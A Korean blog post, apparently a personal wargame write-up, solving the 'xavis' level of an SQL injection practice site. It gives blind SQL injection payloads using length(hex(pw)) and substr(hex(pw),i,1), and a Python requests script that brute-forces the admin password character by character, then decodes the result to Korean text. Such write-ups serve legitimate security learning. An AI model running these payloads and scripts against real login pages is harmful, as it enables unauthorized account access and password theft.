본문 바로가기
워게임/LOS

[**] xavis

by meanjung 2021. 10. 4.

pw - prob _ . () regex like 필터링

 

그냥 여태 하던대로 길이 구하고 하나씩 구하면 안되나???


평소 하던대로 ?pw=' or id='admin' and length(pw)=i# 이런식으로 길이를 비밀번호 길이를 구했다. 12가 나왔다.

또 한글자 한글자 비밀번호를 구하려고 했는데 코딩 제대로 한 것 같은데 아무값이 나오지 않고 종료됐다.

 

삽질 좀 하다가 롸업을 봤다.


내가 풀던 방식대로 풀다가 안됐으면 다른 문자인가? 를 고민했어야 했다. 

 

select length('abcd') -> 4

select length(hex('abcd')) ->8 이 나오는 것을 확인했다.

 

?pw=' or id='admin' and length(hex(pw))=24# 하니까 Hello admin이 출력됐다.

 

그럼 hex값으로 확인해보자

?pw=' or id='admin' and substr(hex(pw),i,1)=char(c)%23

import requests
import threading

cookies = {"PHPSESSID":""}
pw_hex=""
for i in range(1, 25):
    for c in range(48, 91):
        url=f"https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=' or id='admin' and substr(hex(pw),{i},1)=char({c})%23"
        res = requests.get(url, cookies=cookies)
        if "Hello admin" in res.text:
            pw_hex+=chr(c)
            print(pw_hex)
            break

이 값을 hex to string하면 깨진다. 


롸업 보니까 8자씩 끊어서 한글로 변환했다. 이걸 어떻게 생각해내는지는 모르겠다

 

s = "0000C6B00000C6550000AD73"
a1 = 0x0000C6B0
a2 = 0x0000C655
a3 = 0x0000AD73

print(chr(a1), chr(a2), chr(a3))

 

'워게임 > LOS' 카테고리의 다른 글

iron_golem(참 거짓을 판별할 수 없는 blind sqli)  (0) 2021.10.05
dragon  (0) 2021.10.04
[**] nightmare (묵시적 형변환)  (0) 2021.10.04
zombie_assassin  (0) 2021.10.03
succubus  (0) 2021.10.03

댓글